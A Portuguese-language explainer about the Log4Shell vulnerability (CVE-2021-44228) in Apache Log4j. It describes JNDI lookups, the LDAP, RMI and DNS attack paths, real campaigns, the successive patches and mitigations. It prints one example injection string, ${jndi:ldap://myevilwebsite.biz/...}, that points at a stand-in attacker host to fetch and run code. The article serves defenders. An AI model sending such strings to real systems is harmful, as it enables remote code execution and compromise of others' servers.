O que é Log4Shell?

Log4Shell, cujo identificador Common Vulnerabilities and Exposures (CVE) é CVE-2021-44228, tem uma pontuação Common Vulnerability Scoring System (CVSS) de 10, o que indica uma vulnerabilidade crítica. É considerada uma das vulnerabilidades mais perigosas já descobertas devido à sua ampla abrangência e às consequências potencialmente devastadoras.

Estima-se que 10% de todos os recursos digitais - incluindo aplicações web, serviços em nuvem e endpoints físicos como servidores — estavam vulneráveis ao Log4Shell no momento de sua descoberta. Hackers podem usar o Log4Shell para quase tudo: roubo de dados (exfiltração de dados), instalação de ransomware, capturar dispositivos para botnets e muito mais.

Pesquisadores de segurança em nuvem descobriram o Log4Shell em novembro de 2021. A Apache lançou um patch em dezembro de 2021, e todas as versões do Log4j a partir da 2.17.1 estão livres do Log4Shell e suas vulnerabilidades associadas. No entanto, a CISA (Agência de Segurança Cibernética e de Infraestrutura dos EUA) relata que o Log4Shell ainda está entre as vulnerabilidades mais exploradas. O Log4j está profundamente enraizado na cadeia de suprimentos de software, de modo que encontrar e corrigir todas as instâncias vulneráveis pode levar anos.

Enquanto isso, equipes de segurança podem adotar outras medidas para reduzir a exposição da rede, como será detalhado mais adiante.

O Log4Shell afeta o Log4j, uma biblioteca de registro de código aberto mantida pela Apache Software Foundation. O Log4j é um logger, um componente de software que registra informações e eventos de um programa, como mensagens de erro e inputs de usuário.

Log4J não é um programa independente, mas um pacote de código que os desenvolvedores podem incluir em suas aplicações Java em vez de criar loggers do zero. Grandes organizações, incluindo Apple, Twitter, Amazon, Microsoft, Cloudflare, Cisco, entre outras, usam Log4j em seus softwares e serviços.

O Log4Shell resulta de como as versões vulneráveis do Log4J lidam com dois recursos relacionados: Java Naming and Directory Interface (JNDI) e substituições de pesquisa de mensagens. Cada recurso por conta própria seria inofensivo, mas a interação entre eles dá aos hackers uma arma potente.

O JNDI é uma interface de programação de aplicativos (API) que aplicações Java utilizam para acessar recursos hospedados em servidores externos. Uma consulta JNDI é um comando que diz ao aplicativo para ir a um servidor e baixar um objeto específico, como um dado ou um script. Versões antigas do Log4j 2 executam automaticamente qualquer código baixado dessa maneira.

A substituição da pesquisa de mensagens permite que os usuários e aplicações enviem variáveis para Log4J dentro das mensagens de log usando uma sintaxe específica: ${prefix:name}. Quando Log4J encontra essa sintaxe, ela resolve a variável e registra o valor no log. Por exemplo, se Log4J recebeu uma mensagem que diz

${java:version}

o sistema poderia descobrir a versão atual do Java rodando no dispositivo. No log, ele registraria: "Java version X.XX."

De outra forma, o Log4J não trata substituições de pesquisa de mensagens como texto sem formatação. Ele os trata como comandos e age com base no que eles dizem. Os hackers podem aproveitar esse fato para enviar comandos maliciosos de pesquisa de JNDI para aplicativos que executam versões vulneráveis do Log4J. Por exemplo, um hacker pode enviar ao Log4J uma string como esta:

${jndi:ldap://myevilwebsite.biz/maliciouscode}

Quando o Log4j recebesse essa mensagem, ele resolveria a variável acessando o servidor myevilwebsite.biz e baixando o objeto localizado em /maliciouscode. Esse processo levaria o Log4j a executar qualquer código Java que o hacker tivesse colocado ali, geralmente malware.

Hackers podem usar protocolos padrão para acionar o Log4Shell, facilitando a evasão da detecção por tráfego malicioso. A maioria dos ataques Log4Shell usa um dos seguintes protocolos: Lightweight Directory Access Protocol (LDAP); Remote Method Invocation (RMI); ou Sistema de Nomes de Domínio (DNS).

O LDAP é usado para armazenar dados em um local central onde diferentes aplicações e serviços podem acessá-los. O LDAP é o método mais comum usado por hackers para explorar o Log4Shell. Um ataque típico funciona da seguinte forma:

• O hacker configura um servidor LDAP e armazena códigos maliciosos nele.
  
  
• O hacker envia uma pesquisa JNDI para um programa usando Log4J.
  
  
• A pesquisa JNDI faz com que o programa entre em contato com o servidor LDAP do atacante, baixe a carga útil e execute o código.

O RMI é um recurso do Java que permite que um aplicativo em um dispositivo diga a um aplicativo em outro dispositivo para fazer algo, como compartilhar informações ou executar uma função.

Os ataques de RMI funcionam de forma semelhante aos ataques de LDAP: os hackers configuram um servidor RMI, enganam o alvo para se conectar ao seu servidor e enviam comandos maliciosos de volta ao alvo.

Os ataques de RMI não são muito comuns, mas alguns hackers estão migrando para o RMI porque cada vez mais organizações estão bloqueando completamente o tráfego LDAP.

Os hackers usam DNS para procurar alvos. Eles enviam uma consulta JNDI para um programa, instruindo-o a se conectar a um servidor DNS controlado pelos hackers. Se o servidor DNS registrar uma conexão do programa, os hackers saberão que o sistema está vulnerável a novas tentativas de invasão do Log4Shell.

Como o Log4Shell permite que hackers executem código arbitrário, cibercriminosos podem usar a falha para lançar vários tipos de ataque. A Log4Shell também era uma vulnerabilidade de dia zero no momento de sua descoberta, o que significa que os hackers saíram na frente na sua exploração.

Alguns dos primeiros ataques Log4Shell infectaram computadores com cryptojackers, um tipo de malware que usa o dispositivo para minerar criptomoedas sem o conhecimento do proprietário. O botnet Mirai também usou a falha para assumir o controle de dispositivos.

Vários ataques de ransomware exploraram o Log4Shell. Os mais proeminentes incluem a variante Khonsari, que se espalhou por meio do jogo Minecraft, e NightSky, que teve como alvo sistemas que executam o VMware Horizon.

Os corretores de acesso usaram o Log4Shell para estabelecer pontos de apoio em redes corporativas de alto valor, muitas vezes soltando secretamente cavalos de Troia de acesso remoto (RATs) em sistemas comprometidos. Os corretores de acesso então vendem esses pontos de apoio para afiliados de ransomware como serviço ou outros hackers na dark web.

Enquanto o Apache trabalhava na correção do Log4Shell após sua descoberta, um punhado de falhas relacionadas veio à tona. Em última análise, foi necessário quatro patches para corrigir completamente o Log4Shell e todas as vulnerabilidades associadas.

O primeiro patch Apache lançado, Log4J versão 2.15.0, fechou grande parte da vulnerabilidade do Log4Shell. No entanto, os hackers ainda podem enviar pesquisas maliciosas de JNDI para sistemas que usavam determinadas configurações não padrão. O Apache resolveu essa falha com o Log4J versão 2.16.0.

A versão 2.16.0 também se revelou incompleta. Hackers podiam usar consultas de mensagens maliciosas para forçar sistemas vulneráveis a entrarem em recursões infinitas, levando a ataques de denial-of-service. A Apache lançou a versão 2.17 para corrigir essa falha.

Menos grave do que as outras, essa falha permitia que hackers executassem código remotamente, mas eles precisavam obter permissões elevadas e alterar as configurações de log primeiro. O Apache abordou isso com um quarto patch, Log4J versão 2,17,1.

Pesquisadores de segurança recomendam fortemente que as organizações priorizem a atualização de todas as instâncias do Log4J em suas redes para a versão mais recente, ou pelo menos para a versão 2.17.1. A aplicação de patches é a única maneira de corrigir completamente o Log4Shell.

No entanto, as equipes de segurança podem não conseguir aplicar patches em todas as instâncias do Log4J imediatamente. Instalações vulneráveis do Log4J muitas vezes estão presentes como dependências indiretas, ou seja, os ativos da empresa não usam o Log4J diretamente, mas dependem de outros aplicativos e serviços que o utilizam. De acordo com o Google, as instâncias Log4J mais vulneráveis têm mais de um nível de profundidade e algumas têm até nove níveis de profundidade.

Quando o Log4J é uma dependência indireta, torna-se muito mais difícil para as equipes de segurança localizá-lo. Quando o encontram, podem não conseguir aplicar o patch, dependendo de onde ele está. Se o Log4J estiver embutido em um pacote de software usado por um aplicativo de terceiros, a equipe de segurança precisará que o fornecedor atualize o Log4J por conta própria.

Mesmo quando o Log4J está presente como uma dependência direta, pode ser difícil identificá-lo. O processo de desenvolvimento de software é altamente complexo hoje, contando com grandes equipes e vastas matrizes de código pré-existente. Os desenvolvedores podem não perceber que seus aplicativos contêm versões vulneráveis do Log4J, pois essas instâncias podem ficar dentro de pacotes de software pré-escritos que os desenvolvedores não codificaram.

Em dezembro de 2022, 25% dos downloads do Log4J ainda estavam vulneráveis ao Log4Shell, o que significa que as pessoas estão usando versões desatualizadas do Log4J para criar novos ativos.

O Log4J é tão amplamente utilizado na cadeia de fornecimento de software que localizar e corrigir todas as instâncias vulneráveis levará pelo menos uma década, de acordo com o Departamento de Segurança Interna dos EUA.

Enquanto isso, as equipes de segurança podem tomar outras medidas para reduzir a exposição à rede.

As equipes de segurança podem proibir substituições de pesquisa de mensagens no Log4J, fazendo com que o Log4J trate as mensagens dos hackers como texto simples, em vez de comandos a serem executados.

Há duas maneiras de fazer isso: alterando a propriedade de sistema "Log4J2.formatMsgNoLookups" para "true" ou definindo a variável de ambiente LOG4J_FORMAT_MSG_NO_LOOKUPS como "true".

Observe que versões não corrigidas do Log4J ainda sofrem com a CVE-2021-45046, que permite que hackers enviem consultas JNDI maliciosas quando determinadas configurações não padrão são usadas. Portanto, proibir consultas de mensagens não é uma solução infalível.

Aplicações Java usam classes para definir o que um programa pode fazer. No Log4J, a classe "JNDIlookup" controla as consultas JNDI. Se essa classe for removida do diretório de classes do Log4J, também conhecido como classpath, as consultas JNDI não poderão mais ser executadas.

Proibir consultas JNDI impede que hackers enviem comandos maliciosos, mas também pode afetar outras funções do Log4J e dos aplicativos que o utilizam. Além disso, pode ser difícil garantir que todas as instâncias da classe foram removidas.

As organizações podem usar firewalls e outras ferramentas de cibersegurança para bloquear o tráfego de ativos vulneráveis voltados para a internet com destino a servidores controlados por atacantes. Por exemplo, equipes de segurança podem definir regras para proibir todas as conexões que utilizam os protocolos LDAP ou RMI.

Bloquear o tráfego de saída em vez do tráfego de entrada ajuda a evitar falsos positivos, já que fornecedores e pesquisadores de segurança podem estar escaneando ativos para encontrar instâncias não corrigidas remanescentes.

A desvantagem é que firewalls podem bloquear ou prejudicar conexões de saída legítimas, especialmente se a organização usar LDAP ou RMI por razões operacionais.